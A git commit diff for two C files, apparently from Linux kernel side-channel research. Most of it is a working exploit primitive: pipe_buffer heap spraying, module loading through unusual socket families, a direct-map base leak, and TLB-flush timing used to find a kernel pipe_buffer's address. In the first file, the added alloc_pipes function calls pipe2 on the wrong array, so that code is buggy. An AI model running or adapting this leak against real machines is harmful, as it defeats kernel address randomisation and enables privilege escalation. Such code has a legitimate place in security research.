alloc pipes

This commit is contained in:
twoneis 2025-04-03 23:07:30 +02:00
parent 4d08c68e78
commit e700ab4b60
2 changed files with 278 additions and 222 deletions

View file

@ -1,4 +1,19 @@
#include <sys/socket.h>
#include <fcntl.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// where does this come from?
#define OBJS_PER_SLAB 42
#define PIPE_BUFFER (OBJS_PER_SLAB * 10)
int pipes[PIPE_BUFFER][2];
void alloc_pipes(int[2], int);
int int
main(void) main(void)
@ -8,6 +23,16 @@ main(void)
printf("main: fopen: %p\n", device); printf("main: fopen: %p\n", device);
for (size_t i = 0; i < PIPE_BUFFER; i++) {
alloc_pipes(pipes[i], O_NONBLOCK);
}
fclose(device); fclose(device);
printf("main: done\n"); printf("main: done\n");
} }
void
alloc_pipes(int fd[2], int flags)
{
pipe2(pipes, flags);
}

View file

@ -1,263 +1,294 @@
#include "utils.h"
#include "cacheutils.h" #include "cacheutils.h"
#include "tlb_flush.h"
#include "pipe_buffer.h"
#include "coarse_grain_leak.h" #include "coarse_grain_leak.h"
#include "pipe_buffer.h"
#include "tlb_flush.h"
#include "utils.h"
#define VALIDATE #define VALIDATE
#ifdef VALIDATE #ifdef VALIDATE
#include "ulkm.h" #include "ulkm.h"
#endif #endif
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/mman.h> #include <sys/mman.h>
#define IPPROTO_DCCP 33 #include <sys/socket.h>
#define IPPROTO_SCTP 132 #include <sys/syscall.h>
#define IPPROTO_L2TP 115
#define CAN_RAW 1
#define CAN_BCM 2
#define CAN_ISOTP 6
#define OBJS_PER_SLAB 42 #include <unistd.h>
#define PIPE_BUFFER_SPRAY (OBJS_PER_SLAB*200) #define IPPROTO_DCCP 33
#define PIPE_BUFFER (OBJS_PER_SLAB*10) #define IPPROTO_SCTP 132
#define IPPROTO_L2TP 115
#define CAN_RAW 1
#define CAN_BCM 2
#define CAN_ISOTP 6
#define TRIES 40 #define OBJS_PER_SLAB 42
#define PIPE_BUFFER_SPRAY (OBJS_PER_SLAB * 200)
#define PIPE_BUFFER (OBJS_PER_SLAB * 10)
#define PIPE_SIZE 40 #define TRIES 40
#define PIPE_CNT 16
#define PIPE_SIZE 40
#define PIPE_CNT 16
int pipes_spray[PIPE_BUFFER_SPRAY][2]; int pipes_spray[PIPE_BUFFER_SPRAY][2];
int pipes[PIPE_BUFFER][2]; int pipes[PIPE_BUFFER][2];
char buffer[0x1000]; char buffer[0x1000];
void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4) void
get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2,
size_t *time_n4)
{ {
size_t times[tries]; size_t times[tries];
size_t times_n2[tries]; size_t times_n2[tries];
size_t times_n4[tries]; size_t times_n4[tries];
for (size_t i = 0; i < tries; ++i) { for (size_t i = 0; i < tries; ++i) {
flush_tlb_targeted_4k(addr); flush_tlb_targeted_4k(addr);
flush_tlb_targeted_4k(addr+2*(1<<12)); flush_tlb_targeted_4k(addr + 2 * (1 << 12));
flush_tlb_targeted_4k(addr+2*(1<<12)); flush_tlb_targeted_4k(addr + 2 * (1 << 12));
__attribute__((unused))int __ret = read(fd, (void *)0xdeadbeef000, 8); __attribute__((unused)) int __ret = read(fd,
times[i] = onlyreload(addr); (void *)0xdeadbeef000, 8);
times_n2[i] = onlyreload(addr+2*(1<<12)); times[i] = onlyreload(addr);
times_n4[i] = onlyreload(addr+4*(1<<12)); times_n2[i] = onlyreload(addr + 2 * (1 << 12));
} times_n4[i] = onlyreload(addr + 4 * (1 << 12));
qsort(times, tries, sizeof(size_t), comp); }
qsort(times_n2, tries, sizeof(size_t), comp); qsort(times, tries, sizeof(size_t), comp);
qsort(times_n4, tries, sizeof(size_t), comp); qsort(times_n2, tries, sizeof(size_t), comp);
*time = times[tries/4]; qsort(times_n4, tries, sizeof(size_t), comp);
*time_n2 = times_n2[tries/4]; *time = times[tries / 4];
*time_n4 = times_n4[tries/4]; *time_n2 = times_n2[tries / 4];
*time_n4 = times_n4[tries / 4];
} }
int is_2mb(int fd, size_t addr, size_t tries) int
is_2mb(int fd, size_t addr, size_t tries)
{ {
size_t time; size_t time;
size_t time_n2; size_t time_n2;
size_t time_n4; size_t time_n4;
get_times(fd, addr, tries, &time, &time_n2, &time_n4); get_times(fd, addr, tries, &time, &time_n2, &time_n4);
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD); return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
} }
int hit_flush(int fd, size_t addr, size_t tries) int
hit_flush(int fd, size_t addr, size_t tries)
{ {
size_t time; size_t time;
size_t time_n2; size_t time_n2;
size_t time_n4; size_t time_n4;
get_times(fd, addr, tries, &time, &time_n2, &time_n4); get_times(fd, addr, tries, &time, &time_n2, &time_n4);
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD)); return (
time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
} }
int main(void) int
main(void)
{ {
printf("[*] start\n"); printf("[*] start\n");
set_limit(); set_limit();
setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0);
pin_to_core(0); pin_to_core(0);
init_tlb_flush(); init_tlb_flush();
get_total_memory(); get_total_memory();
size_t time; size_t time;
size_t prev_time = -1; size_t prev_time = -1;
size_t last_slab = -1; size_t last_slab = -1;
for (size_t i = 0; i < PIPE_BUFFER_SPRAY/2; ++i) { for (size_t i = 0; i < PIPE_BUFFER_SPRAY / 2; ++i) {
alloc_pipes(pipes_spray[i], O_NONBLOCK); alloc_pipes(pipes_spray[i], O_NONBLOCK);
resize_pipe(pipes_spray[i][0], 2); resize_pipe(pipes_spray[i][0], 2);
write_pipe(pipes_spray[i][1], buffer, 8); write_pipe(pipes_spray[i][1], buffer, 8);
} }
printf("[*] load 1st half of kernel modules\n"); printf("[*] load 1st half of kernel modules\n");
int sock_fd; int sock_fd;
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
if (sock_fd < 0) { if (sock_fd < 0) {
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
exit(-1); exit(-1);
} }
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
if (sock_fd < 0) { if (sock_fd < 0) {
perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
exit(-1); exit(-1);
} }
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
if (sock_fd < 0) { if (sock_fd < 0) {
perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
exit(-1); exit(-1);
} }
for (size_t i = PIPE_BUFFER_SPRAY/2; i < PIPE_BUFFER_SPRAY; ++i) { for (size_t i = PIPE_BUFFER_SPRAY / 2; i < PIPE_BUFFER_SPRAY; ++i) {
alloc_pipes(pipes_spray[i], O_NONBLOCK); alloc_pipes(pipes_spray[i], O_NONBLOCK);
size_t t0 = rdtsc_begin(); size_t t0 = rdtsc_begin();
resize_pipe(pipes_spray[i][0], 2); resize_pipe(pipes_spray[i][0], 2);
size_t t1 = rdtsc_end(); size_t t1 = rdtsc_end();
write_pipe(pipes_spray[i][1], buffer, 8); write_pipe(pipes_spray[i][1], buffer, 8);
time = t1-t0; time = t1 - t0;
if (time > (prev_time+1000)) { if (time > (prev_time + 1000)) {
if (last_slab == (size_t)-1) if (last_slab == (size_t)-1)
last_slab = i; last_slab = i;
else if (i - last_slab == OBJS_PER_SLAB) else if (i - last_slab == OBJS_PER_SLAB)
break; break;
else else
last_slab = -1; last_slab = -1;
} }
prev_time = time; prev_time = time;
} }
for (size_t i = 0; i < PIPE_BUFFER; ++i) { for (size_t i = 0; i < PIPE_BUFFER; ++i) {
alloc_pipes(pipes[i], O_NONBLOCK); alloc_pipes(pipes[i], O_NONBLOCK);
resize_pipe(pipes[i][0], 2); resize_pipe(pipes[i][0], 2);
write_pipe(pipes[i][1], buffer, 8); write_pipe(pipes[i][1], buffer, 8);
} }
printf("[*] load 2nd half of kernel modules\n"); printf("[*] load 2nd half of kernel modules\n");
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
if (sock_fd < 0) { if (sock_fd < 0) {
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
exit(-1); exit(-1);
} }
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock_fd < 0) { if (sock_fd < 0) {
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
exit(-1); exit(-1);
} }
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
if (sock_fd < 0) { if (sock_fd < 0) {
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
exit(-1); exit(-1);
} }
__attribute__((unused))size_t found_addresses[32]; __attribute__((unused)) size_t found_addresses[32];
__attribute__((unused))size_t found_addresses_index = 0; __attribute__((unused)) size_t found_addresses_index = 0;
#ifdef VALIDATE #ifdef VALIDATE
lkm_init(); lkm_init();
size_t pipe_buffer_0; size_t pipe_buffer_0;
size_t pipe_buffer_1; size_t pipe_buffer_1;
size_t pipe_buffer_2; size_t pipe_buffer_2;
size_t pipe_buffer_3; size_t pipe_buffer_3;
size_t pipe_buffer_4; size_t pipe_buffer_4;
size_t pipe_buffer_21; size_t pipe_buffer_21;
size_t pipe_buffer_40; size_t pipe_buffer_40;
size_t pipe_buffer_ns1; size_t pipe_buffer_ns1;
size_t pipe_buffer_ns2; size_t pipe_buffer_ns2;
size_t pipe_buffer_ns3; size_t pipe_buffer_ns3;
size_t pipe_buffer_ns4; size_t pipe_buffer_ns4;
size_t pipe_buffer_ns5; size_t pipe_buffer_ns5;
lkm_pipe_buffer_leak((size_t)&pipe_buffer_0, pipes[0][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_0, pipes[0][0], 1);
printf("[*] pipe_buffer 0 %016zx\n", pipe_buffer_0); printf("[*] pipe_buffer 0 %016zx\n", pipe_buffer_0);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_1, pipes[1][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_1, pipes[1][0], 1);
printf("[*] pipe_buffer 1 %016zx\n", pipe_buffer_1); printf("[*] pipe_buffer 1 %016zx\n", pipe_buffer_1);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_2, pipes[2][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_2, pipes[2][0], 1);
printf("[*] pipe_buffer 2 %016zx\n", pipe_buffer_2); printf("[*] pipe_buffer 2 %016zx\n", pipe_buffer_2);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_3, pipes[3][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_3, pipes[3][0], 1);
printf("[*] pipe_buffer 3 %016zx\n", pipe_buffer_3); printf("[*] pipe_buffer 3 %016zx\n", pipe_buffer_3);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_4, pipes[4][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_4, pipes[4][0], 1);
printf("[*] pipe_buffer 4 %016zx\n", pipe_buffer_4); printf("[*] pipe_buffer 4 %016zx\n", pipe_buffer_4);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_21, pipes[21][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_21, pipes[21][0], 1);
printf("[*] pipe_buffer 21 %016zx\n", pipe_buffer_21); printf("[*] pipe_buffer 21 %016zx\n", pipe_buffer_21);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_40, pipes[40][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_40, pipes[40][0], 1);
printf("[*] pipe_buffer 40 %016zx\n", pipe_buffer_40); printf("[*] pipe_buffer 40 %016zx\n", pipe_buffer_40);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns1, pipes[OBJS_PER_SLAB][0], 1); lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns1, pipes[OBJS_PER_SLAB][0],
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB, pipe_buffer_ns1); 1);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns2, pipes[OBJS_PER_SLAB*2][0], 1); printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB, pipe_buffer_ns1);
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*2, pipe_buffer_ns2); lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns2,
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns3, pipes[OBJS_PER_SLAB*3][0], 1); pipes[OBJS_PER_SLAB * 2][0], 1);
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*3, pipe_buffer_ns3); printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB * 2,
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns4, pipes[OBJS_PER_SLAB*4][0], 1); pipe_buffer_ns2);
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*4, pipe_buffer_ns4); lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns3,
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns5, pipes[OBJS_PER_SLAB*5][0], 1); pipes[OBJS_PER_SLAB * 3][0], 1);
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*5, pipe_buffer_ns5); printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB * 3,
pipe_buffer_ns3);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns4,
pipes[OBJS_PER_SLAB * 4][0], 1);
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB * 4,
pipe_buffer_ns4);
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns5,
pipes[OBJS_PER_SLAB * 5][0], 1);
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB * 5,
pipe_buffer_ns5);
size_t is_4kb = lkm_is_4kb(pipe_buffer_0); size_t is_4kb = lkm_is_4kb(pipe_buffer_0);
printf("[*] %016zx is %s page\n", pipe_buffer_0, is_4kb ? "4kB" : "2MB"); printf("[*] %016zx is %s page\n", pipe_buffer_0,
is_4kb ? "4kB" : "2MB");
#endif #endif
size_t dpm_base = dpm_leak(TRIES); size_t dpm_base = dpm_leak(TRIES);
printf("[*] dpm_base: %016zx\n", dpm_base); printf("[*] dpm_base: %016zx\n", dpm_base);
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) { for (size_t addr = dpm_base; addr < dpm_base + mem_total_rounded;
if ((addr % (1 << 30)) == 0) addr += (1 << 21)) {
printf("[*] addr %016zx\n", addr); if ((addr % (1 << 30)) == 0)
printf("[*] addr %016zx\n", addr);
if (is_2mb(pipes[0][0], addr, 40)) if (is_2mb(pipes[0][0], addr, 40))
continue; continue;
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) { for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
size_t cur_addr = addr + i; size_t cur_addr = addr + i;
size_t found_0 = hit_flush(pipes[0][0], cur_addr, TRIES); size_t found_0 = hit_flush(pipes[0][0], cur_addr,
if (!found_0) TRIES);
continue; if (!found_0)
continue;
size_t found_ns1 = hit_flush(pipes[OBJS_PER_SLAB][0], cur_addr, TRIES); size_t found_ns1 = hit_flush(pipes[OBJS_PER_SLAB][0],
if (found_ns1) cur_addr, TRIES);
continue; if (found_ns1)
size_t found_ns2 = hit_flush(pipes[OBJS_PER_SLAB*2][0], cur_addr, TRIES); continue;
if (found_ns2) size_t found_ns2 = hit_flush(
continue; pipes[OBJS_PER_SLAB * 2][0], cur_addr, TRIES);
size_t found_ns3 = hit_flush(pipes[OBJS_PER_SLAB*3][0], cur_addr, TRIES); if (found_ns2)
if (found_ns3) continue;
continue; size_t found_ns3 = hit_flush(
size_t found_ns4 = hit_flush(pipes[OBJS_PER_SLAB*4][0], cur_addr, TRIES); pipes[OBJS_PER_SLAB * 3][0], cur_addr, TRIES);
if (found_ns4) if (found_ns3)
continue; continue;
size_t found_ns5 = hit_flush(pipes[OBJS_PER_SLAB*5][0], cur_addr, TRIES); size_t found_ns4 = hit_flush(
if (found_ns5) pipes[OBJS_PER_SLAB * 4][0], cur_addr, TRIES);
continue; if (found_ns4)
continue;
size_t found_ns5 = hit_flush(
pipes[OBJS_PER_SLAB * 5][0], cur_addr, TRIES);
if (found_ns5)
continue;
size_t found_1 = hit_flush(pipes[1][0], cur_addr, TRIES); size_t found_1 = hit_flush(pipes[1][0], cur_addr,
if (!found_1) TRIES);
continue; if (!found_1)
size_t found_2 = hit_flush(pipes[2][0], cur_addr, TRIES); continue;
if (!found_2) size_t found_2 = hit_flush(pipes[2][0], cur_addr,
continue; TRIES);
size_t found_3 = hit_flush(pipes[3][0], cur_addr, TRIES); if (!found_2)
if (!found_3) continue;
continue; size_t found_3 = hit_flush(pipes[3][0], cur_addr,
size_t found_21 = hit_flush(pipes[21][0], cur_addr, TRIES); TRIES);
if (!found_21) if (!found_3)
continue; continue;
size_t found_40 = hit_flush(pipes[40][0], cur_addr, TRIES); size_t found_21 = hit_flush(pipes[21][0], cur_addr,
if (!found_40) TRIES);
continue; if (!found_21)
size_t found_39 = hit_flush(pipes[39][0], cur_addr, TRIES); continue;
if (!found_39) size_t found_40 = hit_flush(pipes[40][0], cur_addr,
continue; TRIES);
if (!found_40)
found_addresses[found_addresses_index++] = cur_addr; continue;
printf("[+] found addr %016zx\n", cur_addr); size_t found_39 = hit_flush(pipes[39][0], cur_addr,
} TRIES);
} if (!found_39)
continue;
if (found_addresses_index == 0) found_addresses[found_addresses_index++] = cur_addr;
printf("[!] non found -> retry\n"); printf("[+] found addr %016zx\n", cur_addr);
else if (found_addresses_index != 1) }
printf("[!] multiple addresses -> retry\n"); }
if (found_addresses_index == 0)
printf("[!] non found -> retry\n");
else if (found_addresses_index != 1)
printf("[!] multiple addresses -> retry\n");
#ifdef VALIDATE #ifdef VALIDATE
else if (found_addresses[0] == (pipe_buffer_0 & ~((1<<12)-1))) else if (found_addresses[0] == (pipe_buffer_0 & ~((1 << 12) - 1)))
printf("[+] success\n"); printf("[+] success\n");
else else
printf("[!] fail\n"); printf("[!] fail\n");
#else #else
else else
printf("[*] found %016zx\n", found_addresses[0]); printf("[*] found %016zx\n", found_addresses[0]);
#endif #endif
} }